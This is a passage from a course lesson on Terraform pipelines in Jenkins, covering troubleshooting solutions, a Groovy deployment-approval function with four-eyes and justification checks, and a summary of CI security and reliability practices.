Fix: two layers. -reconfigure on every init — which is what ci/plan.sh has said since 07-01 — plus cleanWs() in the post always block. The underlying fix is to move to ephemeral agents: the symptom "it works when we re-run it" is the signature of a dirty workspace.
2. RequestLimitExceeded every night at 3.
Cause: the cron uses 0 3 * * * (or H 3 * * * across many jobs that happen to share the same name hash, which is less likely). Every job starts at once and fires a simultaneous plan, which queries the AWS API resource by resource. AWS applies rate limiting per account and region.
Fix: three measures together:
H 3 * * *instead of0 3 * * *, to spread them within the hour.- Stagger by environment:
H 2fordev,H 3forstaging,H 4forprod. - Lower
-parallelismon the drift plans (for example-parallelism=5): drift is not in a hurry, and less concurrency means less throttling.
3. A manual run going green in 40 seconds without doing anything.
Cause: the stages have when { changeset "infra/..." } and a manual run has no changeset relative to the previous build. Every stage is skipped and the pipeline goes green without having executed anything. It is the most baffling Jenkins failure because the green lies.
Fix: add triggeredBy 'UserIdCause' to the when's anyOf, so a manual run never filters. And as a general measure, a final stage that checks something actually ran:
stage('Verify something happened') {
steps {
script {
if (!env.PLAN_GENERATED) {
error("""No stage ran: the path filter discarded everything.
A green build that did nothing is worse than a red one.""")
}
}
}
}4. Saved plan is stale, they re-ran with plan-and-apply, and today a bucket is missing.
Cause: this is an incident, not a pipeline problem. The stale error indicated that the state had changed since the plan. By re-running the whole pipeline with plan-and-apply, a new plan was generated and applied without anybody reviewing it, because the input approval was granted against the summary of a plan that was no longer the one the pipeline had computed. The new plan included the destruction of a bucket — probably because the branch's code had diverged, or because another PR merged in the meantime renamed the resource without a moved block (03-05).
Immediate fix: restore the bucket from versioning or from backup, and treat it as an incident.
Pipeline fix: two changes.
- The approval stage must show the counts of the plan that is going to be applied, and the
inputmust happen after the plan, not before. In theJenkinsfilein §3 it already does, but the message must includeDESTROYED_RESOURCES, and with destructions present it must require theDESTROY_APPROVEDparameter. - The correct response to
Saved plan is staleis not "re-run everything": it is to re-plan, publish the new plan and review it again. The pipeline's error message should say so literally.
5. A cancelled apply and prod/app cannot be planned.
Cause: the cancellation's SIGKILL killed Terraform before it released the state lock. The item stayed in DynamoDB and any later operation fails with Error acquiring the state lock.
Fix:
# 1. Confirm that NOBODY is applying right now: check the builds in
# progress in Jenkins, and the "Who"/"Created" fields of the error.
# 2. Verify the state before touching anything.
terraform -chdir=infra/app state pull | jq '.serial, .lineage'
# 3. Only then, with the EXACT ID that appears in the error:
terraform -chdir=infra/app force-unlock a3f1c2e8-7b4d-4e91-b2a3-9c8d7e6f5a41And, more importantly, the state may have been left half-done: an apply cancelled half-way leaves created resources that the state may not have recorded. Before applying anything new, you must run a plan and read it carefully. If it proposes creating something that already exists, there are orphan resources that will have to be imported (06-04).
Prevention: configure cancellation to send SIGINT and wait. Terraform treats the first SIGINT as "finish what you are doing and exit cleanly", releasing the lock. And warn in the post { aborted { ... } } block, as the pipeline in §3 does.
Solution 3
// vars/approveDeployment.groovy
// Usage: approveDeployment(environment: 'prod', destructions: 2)
def call(Map args = [:]) {
String environment = args.environment ?: error('approveDeployment: "environment" missing')
int destructions = (args.destructions ?: 0) as int
String planLink = args.planLink ?: env.BUILD_URL
// ---------- dev: no approval, by design (08-01 §10) ----------
// The PR was already reviewed, dev is disposable and the short cycle
// is precisely what gives the environment its value.
if (environment == 'dev') {
echo 'dev environment: applied with no manual approval.'
env.APPROVER = 'automatic'
env.JUSTIFICATION = 'dev: automatic apply after the merge'
return
}
// ---------- Per-environment configuration ----------
Map config = [
staging: [approvers: 'platform-team',
timeout: 240, // 4 h: there is room in the working day
fourEyes: false],
prod: [approvers: 'platform-team,security-team',
timeout: 60, // 1 h: if nobody answers, the plan expires
fourEyes: true],
]
Map c = config[environment]
if (!c) { error("approveDeployment: unknown environment '${environment}'") }
// Who launched the build: needed for the four eyes.
String launcher = currentBuild
.getBuildCauses('hudson.model.Cause$UserIdCause')
.collect { it.userId }
.find { it } ?: 'automatic-trigger'
String destructionWarning = destructions > 0
? "\n\nWARNING: this plan DESTROYS OR REPLACES ${destructions} resource(s).\n" +
"Review the list and the attributes forcing the replacement before approving."
: ''
String message = """Apply to ${environment}?
Build: #${env.BUILD_NUMBER}
Launched by: ${launcher}
Destructions: ${destructions}
Full plan: ${planLink}${destructionWarning}"""
// The justification is mandatory when there are destructions: the
// empty default forces something to be typed, and it is validated below.
def parameters = [
string(name: 'JUSTIFICATION', defaultValue: '',
description: destructions > 0
? 'MANDATORY: the ticket or PR that justifies the destruction.'
: 'Ticket or PR (recommended).')
]
Map response
timeout(time: c.timeout, unit: 'MINUTES') {
response = input(
message: message,
ok: "Apply to ${environment}",
submitter: c.approvers,
submitterParameter: 'APPROVER',
parameters: parameters
)
}
String approver = response['APPROVER']
String justification = (response['JUSTIFICATION'] ?: '').trim()
// ---------- Validation 1: four eyes in production ----------
if (c.fourEyes && approver == launcher) {
error("""Self-approval blocked in ${environment}.
${approver} launched this build and has tried to approve it.
Production needs two different people: whoever proposes the
change is not whoever authorises applying it.
Ask somebody else from ${c.approvers} to approve the build.""")
}
// ---------- Validation 2: justification if there are destructions ----------
if (destructions > 0 && !justification) {
error("""Approval rejected: the plan destroys ${destructions} resource(s)
and no justification was given.
The justification is the only trace of WHY a destruction was
authorised. Without it, in six months nobody will know whether it was
intentional. Approve again, giving the ticket or the PR.""")
}
// ---------- Record ----------
// In three places: the log (evidence), the variables (used by the
// apply's session_name) and the build description (visible in the
// list without opening anything).
String timestamp = new Date().format("yyyy-MM-dd HH:mm:ss z", TimeZone.getTimeZone('Europe/Madrid'))
echo """==============================================
DEPLOYMENT APPROVAL
Environment: ${environment}
Approver: ${approver}
Launched by: ${launcher}
Justification: ${justification ?: '(not given)'}
Destructions: ${destructions}
Time: ${timestamp}
=============================================="""
env.APPROVER = approver
env.JUSTIFICATION = justification
env.APPROVAL_TIMESTAMP = timestamp
currentBuild.description = (currentBuild.description ?: '') +
"\nApproved by ${approver}" + (justification ? " (${justification})" : '')
// It is also written to a file so it can be archived alongside the
// result: logs rotate, the artefact keeps the retention from §6.
writeFile file: 'approval.json', text: groovy.json.JsonOutput.prettyPrint(
groovy.json.JsonOutput.toJson([
environment: environment, approver: approver, launcher: launcher,
justification: justification, destructions: destructions,
timestamp: timestamp, build: env.BUILD_NUMBER, url: env.BUILD_URL
]))
}The four design decisions worth pointing out:
-
The
prodtimeout is shorter than thestagingone (1 h against 4 h), which looks counter-intuitive. The reason: inprodthe plan expires after 4 hours (08-01 §6), so an approval arriving at 3 h 50 would produce an apply rejected on freshness grounds. Better that the approval expires first and the plan is recomputed. -
The
error()for self-approval comes after theinput, not before. There is no way of knowing who will approve until they approve. The consequence is that the wrong person approves and then is told it does not count; the message explains this so it does not look like a system fault. -
The justification is validated in Groovy rather than with
defaultValue. Jenkins has no mandatory fields in aninput: if the user leaves the field empty, theinputcompletes anyway. The only way to require it is to check afterwards and fail. -
env.APPROVERis exported for the apply'ssession_name. That way the AWS API call carries the name of whoever authorised it, and the PR → approval → CloudTrail chain from 07-04 §16 is complete.
Conclusion
Jenkins implements the whole design from 08-01, and it does so at the price of making explicitly the decisions other systems make for you.
- Architecture matters before the
Jenkinsfiledoes. A controller with 0 executors, ephemeral agents, and one pod per build. A shared permanent agent brings leftover.terraform/from the previous environment and credentials readable between builds. - The Terraform version is pinned by the repository and checked by the pipeline. An agent with a newer version upgrades the state format irreversibly, and leaves the whole team unable to plan.
- The
parameters/environmentpair implements the single parameter:ENVIRONMENTdetermines the backend, the.tfvars, the role, the lock resource and the threshold.choiceand notstring, and the most harmless value first, because a new pipeline's first build uses the defaults. - The
inputgoes withagent none. That is the fix for the classic Jenkins problem: a 2-CPU pod asleep during the wait. And because releasing the agent destroys the workspace, stashing the plan stops being optional. submitterlimits who approves,submitterParameterrecords who approved, and neither of them prevents self-approval: four eyes must be checked by comparing against the user who launched the build.- For
prod, two pipelines rather than one. Not for resource reasons, but because the separation between the plan role and the apply role cannot depend on a file a PR can edit. The apply job lives outside the infrastructure repository, with its own access control list. stashfor what travels inside the build,archiveArtifactsonly for the encrypted version. The log is kept for a long time because it is evidence; the artefact briefly because it is a risk.- Credential masking is not a security measure: transformation, slicing, output to a file and any network request all sidestep it. What does work is the secret never passing through Jenkins.
- The OIDC debt is settled on the Jenkins side, with three routes of increasing granularity — instance role, IRSA per ServiceAccount, OIDC tied to the job — and the recommendation to use the third exactly where it matters: the production apply.
lockserialises by state, not by repository, and it is a different layer from the backend lock: one prevents the queue, the other prevents corruption and is the only one that protects you from the laptop.Hin the cron and not0, staggered environments, andunstablefor drift instead oferror.whenwithtriggeredBy 'UserIdCause', because a path filter without that clause produces green builds that did nothing, which is the most dangerous failure of all: a green that lies.- The PR comment is updated, not duplicated, with a hidden marker identifying it; and what gets published is
terraform showwithout-json. - A shared library versioned by tag is the only thing that keeps twenty repositories in sync, and marking it as trusted turns it into a security artefact reviewed with
CODEOWNERS. - And Jenkins itself is the asset to protect: a PR that edits the
Jenkinsfileruns code in your CI, and the defence that really works is not hiding the pipeline but giving the proposal job a read-only role.
Jenkins makes you build every piece. The next lesson, Using Terraform with GitHub Actions, implements the same flow in a system where several of those pieces come ready-made — ephemeral runners, protected environments with reviewers, native concurrency groups — and where OIDC is finally configured end to end: the identity provider in IAM, the role with its trust relationship restricted by repo:ecomarket/ecomarket-infra:ref:refs/heads/main, the typical mistakes with the sub and with the wildcard that hands over the whole account, and their equivalents in Azure and GCP. They come with problems of their own, and one that is particularly serious with Terraform: the difference between pull_request and pull_request_target.
